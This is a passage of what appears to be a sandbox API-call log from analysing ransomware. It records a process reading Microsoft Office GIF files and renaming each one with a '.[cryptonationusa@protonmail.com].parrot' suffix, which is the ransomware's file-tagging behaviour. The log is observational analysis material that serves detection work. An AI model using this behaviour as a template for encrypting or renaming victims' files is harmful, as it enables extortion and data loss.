liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.517] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.518] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.518] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1cb8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1cb8, lpOverlapped=0x0) returned 1 [0176.519] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.520] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir15f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir15f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.526] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.526] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.527] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.527] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x399f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x399f, lpOverlapped=0x0) returned 1 [0176.528] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.529] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir16f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir16f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.533] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.533] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.534] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.534] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2bb7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2bb7, lpOverlapped=0x0) returned 1 [0176.535] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.536] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir17f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir17f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.539] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.539] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.541] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.541] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x41f4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x41f4, lpOverlapped=0x0) returned 1 [0176.542] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.543] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir18f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir18f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.546] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.546] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.548] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.548] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc4f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc4f, lpOverlapped=0x0) returned 1 [0176.548] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.548] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir19f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir19f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.553] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.553] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.554] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.554] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd98, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd98, lpOverlapped=0x0) returned 1 [0176.554] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.555] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.559] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.559] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.560] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.560] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf6d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf6d, lpOverlapped=0x0) returned 1 [0176.560] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.561] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.564] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.564] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.603] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.603] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3408, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3408, lpOverlapped=0x0) returned 1 [0176.605] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.606] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir20f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir20f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.611] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.611] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.614] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.615] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d7e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2d7e, lpOverlapped=0x0) returned 1 [0176.635] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.636] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir21f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir21f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.641] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.641] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.651] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.652] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fd7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1fd7, lpOverlapped=0x0) returned 1 [0176.653] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.653] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir22f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir22f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.659] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.659] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.666] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.667] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x313b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x313b, lpOverlapped=0x0) returned 1 [0176.675] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.675] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir23f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir23f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.681] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.681] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.683] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.683] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16ad, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x16ad, lpOverlapped=0x0) returned 1 [0176.683] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.684] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir24f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir24f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.688] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.688] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.690] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.690] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3187, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3187, lpOverlapped=0x0) returned 1 [0176.691] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.691] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir25f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir25f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.695] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.695] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.697] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.697] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1985, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1985, lpOverlapped=0x0) returned 1 [0176.699] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.699] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir26f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir26f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.704] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.705] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.706] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.706] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1cd3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1cd3, lpOverlapped=0x0) returned 1 [0176.707] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.707] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir27f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir27f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.712] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.712] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.717] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.717] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x684, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x684, lpOverlapped=0x0) returned 1 [0176.718] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.718] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.724] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.724] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.774] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.774] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1786, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1786, lpOverlapped=0x0) returned 1 [0176.776] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.783] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.783] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.784] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.784] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11b3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11b3, lpOverlapped=0x0) returned 1 [0176.785] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.786] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft 